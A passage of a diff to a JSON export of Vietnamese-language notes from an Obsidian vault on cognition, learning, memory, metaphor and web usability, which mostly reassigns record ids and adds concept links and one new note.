-14358,7 +14534,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-29T05:50:00.000Z", "Ngày cập nhật": "2024-08-02T04:58:00.000Z", - "id": "Dw" + "id": "E5" }, { "Tiêu đề": "Sự tập trung làm ta không thấy được bức tranh tổng thể", @@ -14374,7 +14550,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-12-01T12:50:00.000Z", "Ngày cập nhật": "2024-08-01T13:24:00.000Z", - "id": "Dx" + "id": "E6" }, { "Tiêu đề": "Vấn đề của việc đọc lướt không phải vì nó có khả năng thành công cao, mà là vì khi mình đã kết luận là khả năng thành công không cao rồi, thì sự chuyển trạng thái sang thực sự đọc cẩn thận không suôn sẻ và tự nhiên", @@ -14390,7 +14566,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T17:05:00.000Z", "Ngày cập nhật": "2024-08-01T17:04:00.000Z", - "id": "Dy" + "id": "E7" }, { "Tiêu đề": "Chúng ta không chọn phương án tối ưu khi chọn sai cũng chẳng hại gì", @@ -14406,7 +14582,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-05T16:01:00.000Z", - "id": "Dz" + "id": "E8" }, { "Tiêu đề": "Các tập quán chung giúp người dùng sử dụng web dễ dàng hơn, còn thôi thúc sáng tạo khỏi lối mòn đó là mãnh liệt", @@ -14422,7 +14598,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "D-" + "id": "E9" }, { "Tiêu đề": "Công việc làm slide ít khi nào được gộp vào trong công việc sản xuất nội dung", @@ -14438,7 +14614,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-30T07:31:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "D_" + "id": "EA" }, { "Tiêu đề": "Kể cả khi ta biết một trang web trả lời câu hỏi cho ta, thì việc đọc cũng nhức đầu", @@ -14454,7 +14630,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-28T06:50:00.000Z", - "id": "E0" + "id": "EB" }, { "Tiêu đề": "Link gây xao nhãng", @@ -14470,7 +14646,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "E1" + "id": "EC" }, { "Tiêu đề": "Logo nên được thiết kế một cách độc lập với môi trường, vì nó sẽ được sử dụng ở bất kỳ môi trường nào", @@ -14486,7 +14662,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "E2" + "id": "ED" }, { "Tiêu đề": "Mental model là những niềm tin của người dùng vào hệ thống", @@ -14502,7 +14678,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-05-17T11:40:00.000Z", - "id": "E3" + "id": "EE" }, { "Tiêu đề": "Một trang web giúp người dùng tới ngay được nơi họ cần đến làm họ cảm thấy mình có thêm tính tự chủ", @@ -14518,7 +14694,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-16T16:14:00.000Z", - "id": "E4" + "id": "EF" }, { "Tiêu đề": "Người dùng bấm bao nhiêu lần cũng được, miễn là tự tin mình đang đi đúng hướng", @@ -14534,7 +14710,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-01-29T18:01:00.000Z", - "id": "E5" + "id": "EG" }, { "Tiêu đề": "Người dùng dành nhiều thời gian ở website khác hơn website của bạn", @@ -14550,7 +14726,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-10T09:18:00.000Z", - "id": "E6" + "id": "EH" }, { "Tiêu đề": "Slide nhiều chữ thì không hấp dẫn", @@ -14566,7 +14742,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-31T06:32:00.000Z", "Ngày cập nhật": "2023-11-28T06:24:00.000Z", - "id": "E7" + "id": "EI" }, { "Tiêu đề": "Trải nghiệm trên web giống như trải nghiệm đến một nơi xa lạ", @@ -14582,7 +14758,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-02-10T09:18:00.000Z", - "id": "E8" + "id": "EJ" }, { "Tiêu đề": "Tính khả dụng liên quan đến con người và cách họ hiểu và sử dụng mọi thứ, chứ không phải liên quan đến công nghệ", @@ -14598,7 +14774,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-16T16:15:00.000Z", - "id": "E9" + "id": "EK" }, { "Tiêu đề": "Việc chất vấn quan điểm của mình dễ dàng hơn nhiều khi có ai đó nói ra sự chất vấn đó", @@ -14614,7 +14790,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-02T03:35:00.000Z", - "id": "EA" + "id": "EL" }, { "Tiêu đề": "Việc mò mẫm vui, đỡ phải nghĩ và thường là hiệu quả hơn là đọc hướng dẫn cẩn thận", @@ -14630,7 +14806,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-05T16:02:00.000Z", - "id": "EB" + "id": "EM" }, { "Tiêu đề": "Vì ta thường cần người khác cho ý kiến về suy nghĩ của ta, nên ta thường không cho được người khác ý kiến về suy nghĩ của họ", @@ -14646,7 +14822,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-21T11:25:00.000Z", - "id": "EC" + "id": "EN" }, { "Tiêu đề": "Chuyên nghiệp (professional) và chuyên gia (expertise) là hai vấn đề khác nhau", @@ -14662,7 +14838,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-05T08:42:00.000Z", "Ngày cập nhật": "2024-07-26T06:26:00.000Z", - "id": "ED" + "id": "EO" }, { "Tiêu đề": "Chúng ta săn tìm và tích trữ thông tin giống như săn tìm và tích trữ lương thực", @@ -14678,7 +14854,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-07T09:24:00.000Z", "Ngày cập nhật": "2024-08-01T10:15:00.000Z", - "id": "EE" + "id": "EP" }, { "Tiêu đề": "Hiểu biết không chỉ để mình làm một cái gì đó, mà còn để mình không làm một cái gì đó", @@ -14694,7 +14870,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-26T06:26:00.000Z", - "id": "EF" + "id": "EQ" }, { "Tiêu đề": "Học là quá trình cấu trúc hoá những thứ phi cấu trúc", @@ -14710,7 +14886,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-26T06:26:00.000Z", - "id": "EG" + "id": "ER" }, { "Tiêu đề": "Khai vấn là để kích thích suy nghĩ, còn tư vấn là đưa ý kiến của mình", @@ -14726,7 +14902,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-26T06:26:00.000Z", - "id": "EH" + "id": "ES" }, { "Tiêu đề": "Knowledge forms when we accumulate, mix, connect and visualize information", @@ -14742,7 +14918,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-26T06:26:00.000Z", - "id": "EI" + "id": "ET" }, { "Tiêu đề": "Lúc mới học thì cần chất lượng hơn là nhanh", @@ -14758,7 +14934,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-01T17:59:00.000Z", "Ngày cập nhật": "2024-08-01T17:59:00.000Z", - "id": "EJ" + "id": "EU" }, { "Tiêu đề": "Nghịch lý triển ngôn", @@ -14775,7 +14951,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-07T11:31:00.000Z", "Ngày cập nhật": "2024-07-31T14:17:00.000Z", - "id": "EK" + "id": "EV" }, { "Tiêu đề": "Tư duy gặng xét (critical thinking) đòi hỏi ta phải bảo vệ những luận điểm ta thấy chưa được bảo vệ thoả đáng", @@ -14791,7 +14967,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-02T05:22:00.000Z", "Ngày cập nhật": "2024-07-26T06:26:00.000Z", - "id": "EL" + "id": "EW" }, { "Tiêu đề": "Tự đặt ra các câu hỏi ngớ ngẩn chính là cách bạn học lại những gì bạn tưởng là mình đã hiểu rõ", @@ -14808,7 +14984,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-31T14:06:00.000Z", - "id": "EM" + "id": "EX" }, { "Tiêu đề": "Đào tạo (teaching, training) là để lấy kiến thức, quy trình, còn huấn luyện (coach) là để ra sản phẩm", @@ -14824,7 +15000,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-27T09:12:00.000Z", "Ngày cập nhật": "2024-07-26T06:26:00.000Z", - "id": "EN" + "id": "EY" }, { "Tiêu đề": "❓Tác giả của một bài viết không bao giờ vét cạn được mọi từ khoá mà người đọc có thể sẽ nhập vào máy tìm kiếm để được gợi ý tới bài viết đó", @@ -14840,7 +15016,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-03T07:51:00.000Z", - "id": "EO" + "id": "EZ" }, { "Tiêu đề": "Bộ não được thiết kế để loại bỏ mối nguy hiểm ngay bây giờ, không phải trong tương lai", @@ -14856,7 +15032,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-12T17:06:00.000Z", "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "EP" + "id": "Ea" }, { "Tiêu đề": "Có những vấn đề lúc cần nói ra thì không không nghĩ ra nhưng vẫn cảm thấy chưa vét cạn", @@ -14872,7 +15048,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-03T10:16:00.000Z", - "id": "EQ" + "id": "Eb" }, { "Tiêu đề": "Có sự chênh lệch về sự thoải mái trong việc hỏi và việc trả lời", @@ -14888,7 +15064,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T07:39:00.000Z", - "id": "ER" + "id": "Ec" }, { "Tiêu đề": "Framework thường dùng cho nhiều tình huống khác nhau, trong khi model thường dùng cho một tình huống cụ thể", @@ -14904,7 +15080,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-16T14:21:00.000Z", - "id": "ES" + "id": "Ed" }, { "Tiêu đề": "Hiểu biết sâu làm ta thấy khoái cảm", @@ -14920,7 +15096,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-28T14:12:00.000Z", "Ngày cập nhật": "2023-11-28T07:50:00.000Z", - "id": "ET" + "id": "Ee" }, { "Tiêu đề": "Hot cognition và cold cognition", @@ -14936,7 +15112,23 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-22T13:52:00.000Z", - "id": "EU" + "id": "Ef" + }, + { + "Tiêu đề": "Hệ thống 1 dựa vào trí nhớ dài hạn. Hệ thống 2 dựa vào trí nhớ ngắn hạn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Nghĩ về việc nghĩ/Khoa học nhận thức/Hệ thống 1 dựa vào trí nhớ dài hạn. Hệ thống 2 dựa vào trí nhớ ngắn hạn", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n\n[[Việc nhìn ra mẫu hình cần những kiến thức có cấu trúc được lưu trong trí nhớ dài hạn]]\n[[Học là quá trình cấu trúc hoá những thứ phi cấu trúc]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-13T12:51:00.000Z", + "id": "Eg" }, { "Tiêu đề": "Con người cố gắng nhìn ra mẫu hình, kể cả khi đó chỉ là sự ngẫu nhiên", @@ -14952,7 +15144,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-26T06:24:00.000Z", - "id": "EV" + "id": "Eh" }, { "Tiêu đề": "Con người thường cố gắng tìm ra mẫu hình, kể cả khi nó không có ở đó", @@ -14962,13 +15154,13 @@ "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Veritasium]], ![The 4 things it takes to be an expert - YouTube](https://www.youtube.com/watch?v=5eW6Eagr9XA)\r\n", + "Toàn bộ nội dung": "Khái niệm:: [[Mẫu hình (pattern)]]\nNguồn:: [[Veritasium]], ![The 4 things it takes to be an expert - YouTube](https://www.youtube.com/watch?v=5eW6Eagr9XA)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-05T08:51:00.000Z", - "Ngày cập nhật": "2024-07-26T06:24:00.000Z", - "id": "EW" + "Ngày cập nhật": "2024-09-02T18:18:00.000Z", + "id": "Ei" }, { "Tiêu đề": "Cờ vua trông như là tư duy logic, nhưng thật ra chỉ là nhìn thấy mẫu hình", @@ -14978,13 +15170,13 @@ "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: [[Mẫu hình (pattern)]]\n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-26T06:25:00.000Z", - "id": "EX" + "Ngày cập nhật": "2024-09-02T18:18:00.000Z", + "id": "Ej" }, { "Tiêu đề": "Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình", @@ -15001,7 +15193,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-07-26T03:33:00.000Z", "Ngày cập nhật": "2024-08-13T01:18:00.000Z", - "id": "EY" + "id": "Ek" }, { "Tiêu đề": "Trực giác là việc nhìn ra mẫu hình không hơn không kém", @@ -15011,13 +15203,13 @@ "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Mẫu hình (pattern)]]\n[[Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình]]\n[[Việc nhìn ra mẫu hình cần những kiến thức có cấu trúc được lưu trong trí nhớ dài hạn]] \nNguồn:: Daniel Kahneman, Tư duy nhanh và chậm\n\n[[Thay vì suy luận để đi tới kết luận, chúng ta thường dùng kết luận để suy luận]]\n[[Trực giác là việc đi tới kết luận mà không thông qua suy luận]] \n[[Muốn nhìn thấy siêu vật thì cần phải có một hệ thống liên kết các vật thể]]", + "Toàn bộ nội dung": "Khái niệm:: [[Mẫu hình (pattern)]], [[Trực giác]]\n[[Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình]]\n[[Việc nhìn ra mẫu hình cần những kiến thức có cấu trúc được lưu trong trí nhớ dài hạn]] \nNguồn:: Daniel Kahneman, Tư duy nhanh và chậm\n\n[[Thay vì suy luận để đi tới kết luận, chúng ta thường dùng kết luận để suy luận]]\n[[Trực giác là việc đi tới kết luận mà không thông qua suy luận]] \n[[Muốn nhìn thấy siêu vật thì cần phải có một hệ thống liên kết các vật thể]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-07-26T03:33:00.000Z", - "Ngày cập nhật": "2024-07-26T06:24:00.000Z", - "id": "EZ" + "Ngày cập nhật": "2024-09-02T18:17:00.000Z", + "id": "El" }, { "Tiêu đề": "Trực giác là việc đi tới kết luận mà không thông qua suy luận", @@ -15027,13 +15219,13 @@ "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: \n[[Thay vì suy luận để đi tới kết luận, chúng ta thường dùng kết luận để suy luận]]\n[[Sự suy luận (reasoning) là việc đưa ra những thông tin mới từ những thông tin đã có một cách có ý thức]]", + "Toàn bộ nội dung": "Khái niệm:: [[Trực giác]], [[Lập luận]]\nNguồn:: \n[[Thay vì suy luận để đi tới kết luận, chúng ta thường dùng kết luận để suy luận]]\n[[Sự suy luận (reasoning) là việc đưa ra những thông tin mới từ những thông tin đã có một cách có ý thức]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-11-08T11:22:00.000Z", - "Ngày cập nhật": "2024-08-13T01:06:00.000Z", - "id": "Ea" + "Ngày cập nhật": "2024-09-02T18:18:00.000Z", + "id": "Em" }, { "Tiêu đề": "Việc nhìn ra mẫu hình cần những kiến thức có cấu trúc được lưu trong trí nhớ dài hạn", @@ -15043,13 +15235,13 @@ "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Mẫu hình (pattern)]]\nNguồn:: [[Veritasium]], ![The 4 things it takes to be an expert - YouTube](https://www.youtube.com/watch?v=5eW6Eagr9XA)\n\nViệc nhìn ra mẫu hình cần những kiến thức có cấu trúc được lưu trong trí nhớ dài hạn. Chơi cờ hay nấu ăn thì mình nghĩ nó đi thẳng vào trí nhớ dài hạn nhanh hơn, vì ta phải dùng cả giác quan hoặc cơ bắp. Còn ví dụ như suy tư nghiên cứu thì nó bị hạn chế hơn\n\n[[Học là quá trình cấu trúc hoá những thứ phi cấu trúc]]\n", + "Toàn bộ nội dung": "Khái niệm:: [[Mẫu hình (pattern)]], [[Cấu trúc]], [[Trí nhớ]]\nNguồn:: [[Veritasium]], ![The 4 things it takes to be an expert - YouTube](https://www.youtube.com/watch?v=5eW6Eagr9XA)\n\nViệc nhìn ra mẫu hình cần những kiến thức có cấu trúc được lưu trong trí nhớ dài hạn. Chơi cờ hay nấu ăn thì mình nghĩ nó đi thẳng vào trí nhớ dài hạn nhanh hơn, vì ta phải dùng cả giác quan hoặc cơ bắp. Còn ví dụ như suy tư nghiên cứu thì nó bị hạn chế hơn\n\n[[Học là quá trình cấu trúc hoá những thứ phi cấu trúc]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-05T08:39:00.000Z", - "Ngày cập nhật": "2024-07-26T06:24:00.000Z", - "id": "Eb" + "Ngày cập nhật": "2024-09-02T18:18:00.000Z", + "id": "En" }, { "Tiêu đề": "Não con người thay đổi rất chậm", @@ -15065,7 +15257,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-16T16:15:00.000Z", - "id": "Ec" + "id": "Eo" }, { "Tiêu đề": "Não cần thời gian để kết nối các ý tưởng lại với nhau", @@ -15081,7 +15273,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-11T04:54:00.000Z", - "id": "Ed" + "id": "Ep" }, { "Tiêu đề": "Bất hoà nhận thức giúp chúng ta hiểu sâu sắc hơn", @@ -15097,7 +15289,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-11T03:30:00.000Z", "Ngày cập nhật": "2024-02-11T10:33:00.000Z", - "id": "Ee" + "id": "Eq" }, { "Tiêu đề": "Càng mất nhiều ta càng học nhiều", @@ -15113,7 +15305,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-06-11T03:30:00.000Z", "Ngày cập nhật": "2023-12-02T03:14:00.000Z", - "id": "Ef" + "id": "Er" }, { "Tiêu đề": "Các nghịch lý tạo ra bất hoà nhận thức", @@ -15129,7 +15321,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-22T14:45:00.000Z", "Ngày cập nhật": "2024-08-13T01:06:00.000Z", - "id": "Eg" + "id": "Es" }, { "Tiêu đề": "Cảm xúc không chỉ khiến ta nhớ tốt hơn, mà còn điều hướng những suy nghĩ tự động", @@ -15145,7 +15337,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-22T14:45:00.000Z", "Ngày cập nhật": "2024-08-18T06:48:00.000Z", - "id": "Eh" + "id": "Et" }, { "Tiêu đề": "Khoảnh khắc loé sáng ý tưởng thường đến vào những lúc ta không tập trung chú ý", @@ -15161,7 +15353,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-14T04:49:00.000Z", - "id": "Ei" + "id": "Eu" }, { "Tiêu đề": "Sự dễ hiểu làm tăng sự đáng tin, dù có thể nó không hợp lý", @@ -15177,7 +15369,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-02-10T14:39:00.000Z", - "id": "Ej" + "id": "Ev" }, { "Tiêu đề": "Sự lập luận dùng để thống nhất, nhưng lại có sự thờ ơ với lập luận", @@ -15193,7 +15385,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-04-29T12:07:00.000Z", - "id": "Ek" + "id": "Ew" }, { "Tiêu đề": "Sự lập luận không được tiến hoá để có quyết định tốt hơn, mà để có quyết định nhiều người đồng ý nhất", @@ -15209,7 +15401,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-04-29T12:06:00.000Z", - "id": "El" + "id": "Ex" }, { "Tiêu đề": "Sự suy luận (reasoning) là việc đưa ra những thông tin mới từ những thông tin đã có một cách có ý thức", @@ -15225,7 +15417,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-08T11:23:00.000Z", - "id": "Em" + "id": "Ey" }, { "Tiêu đề": "Sự đau chi phối sự diễn giải của ta", @@ -15241,7 +15433,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-12-02T03:14:00.000Z", "Ngày cập nhật": "2023-12-02T03:15:00.000Z", - "id": "En" + "id": "Ez" }, { "Tiêu đề": "Ta không nhớ những điều mình đã làm người khác đau bằng nhớ những điều người khác làm mình đau", @@ -15257,7 +15449,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-12-02T03:14:00.000Z", "Ngày cập nhật": "2023-12-02T03:14:00.000Z", - "id": "Eo" + "id": "E-" }, { "Tiêu đề": "Thay vì suy luận để đi tới kết luận, chúng ta thường dùng kết luận để suy luận", @@ -15273,7 +15465,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-22T14:45:00.000Z", "Ngày cập nhật": "2024-08-13T01:06:00.000Z", - "id": "Ep" + "id": "E_" }, { "Tiêu đề": "Trong hoạt động nhóm, thiên kiến xác nhận giúp giảm gánh nặng suy nghĩ mà vẫn đảm bảo mọi lập luận được trình bày và cân nhắc", @@ -15289,7 +15481,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Eq" + "id": "F0" }, { "Tiêu đề": "Truyện cười thể hiện những nghịch lý", @@ -15305,7 +15497,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-28T06:25:00.000Z", - "id": "Er" + "id": "F1" }, { "Tiêu đề": "Việc con người không thường xuyên suy luận tốt dường như là một sự sắp đặt có chủ ý của tiến hoá", @@ -15321,7 +15513,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Es" + "id": "F2" }, { "Tiêu đề": "Đuối lý, thuyết phục hoàn toàn, và né tránh là những thứ khác nhau", @@ -15337,7 +15529,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-12-03T10:17:00.000Z", - "id": "Et" + "id": "F3" }, { "Tiêu đề": "Sự trì hoãn giúp giảm những hệ quả không lường trước được", @@ -15353,7 +15545,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-28T08:04:00.000Z", - "id": "Eu" + "id": "F4" }, { "Tiêu đề": "Tiếng Việt rất không thuận lợi cho việc tìm hiểu các mức độ nhận thức", @@ -15369,7 +15561,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-10-27T05:47:00.000Z", - "id": "Ev" + "id": "F5" }, { "Tiêu đề": "Ký ức của chúng ta chủ yếu là những mẩu 3 giây. Hầu như tất cả các mẩu này biến mất không chút dấu vết", @@ -15385,7 +15577,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-05T09:29:00.000Z", "Ngày cập nhật": "2024-08-26T06:36:00.000Z", - "id": "Ew" + "id": "F6" }, { "Tiêu đề": "Nhiều khi ta nhớ nơi lưu trữ thông tin hơn là chính thông tin đó", @@ -15401,7 +15593,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-05T10:21:00.000Z", "Ngày cập nhật": "2024-08-05T10:21:00.000Z", - "id": "Ex" + "id": "F7" }, { "Tiêu đề": "Trí nhớ tình tiết và thủ tục thường để não nhớ. Trí nhớ ngữ nghĩa và tương lai thường để cho não ngoài", @@ -15417,7 +15609,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-05T10:16:00.000Z", "Ngày cập nhật": "2024-08-26T06:54:00.000Z", - "id": "Ey" + "id": "F8" }, { "Tiêu đề": "Đường cong trí nhớ, Lặp lại theo khoảng (spaced repetition)", @@ -15433,7 +15625,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-05T09:36:00.000Z", - "id": "Ez" + "id": "F9" }, { "Tiêu đề": "Việc trì hoãn giúp đánh giá được mức độ quan trong", @@ -15449,7 +15641,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-10-27T11:59:00.000Z", - "id": "E-" + "id": "FA" }, { "Tiêu đề": "Chúng ta sống bằng ẩn dụ", @@ -15465,7 +15657,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-12T07:22:00.000Z", - "id": "E_" + "id": "FB" }, { "Tiêu đề": "Các ẩn dụ tri nhận cơ bản dựa trên mối tương quan của cơ thể và xung quanh", @@ -15481,7 +15673,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-28T15:17:00.000Z", - "id": "F0" + "id": "FC" }, { "Tiêu đề": "Di sản nhị nguyên của Descartes vẫn còn được sử dụng", @@ -15497,7 +15689,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-28T15:09:00.000Z", - "id": "F1" + "id": "FD" }, { "Tiêu đề": "Ẩn dụ là nền tảng của mọi suy nghĩ và lập luận", @@ -15513,7 +15705,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-12T07:22:00.000Z", - "id": "F2" + "id": "FE" }, { "Tiêu đề": "Ẩn dụ tô đậm những tính chất chung và ẩn đi những tính chất không chung", @@ -15529,7 +15721,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-08-12T07:23:00.000Z", - "id": "F3" + "id": "FF" }, { "Tiêu đề": "Ẩn dụ được nhúng trong các neuron não. Chúng tồn tại dưới dạng vật lý", @@ -15545,7 +15737,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2024-07-28T14:56:00.000Z", - "id": "F4" + "id": "FG" }, { "Tiêu đề": "Chúng ta không quen thuộc với luỹ thừa", @@ -15561,7 +15753,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-07-24T07:29:00.000Z", - "id": "F5" + "id": "FH" }, { "Tiêu đề": "Con người có khả năng tự nhận thức ra lỗi tư duy của mình, dù khả năng đó không hoàn hảo", @@ -15577,7 +15769,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-06-22T15:53:00.000Z", - "id": "F6" + "id": "FI" }, { "Tiêu đề": "Các công ty ít có lợi trong việc đầu tư nghiên cứu môi trường tư duy", @@ -15593,7 +15785,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-30T07:31:00.000Z", "Ngày cập 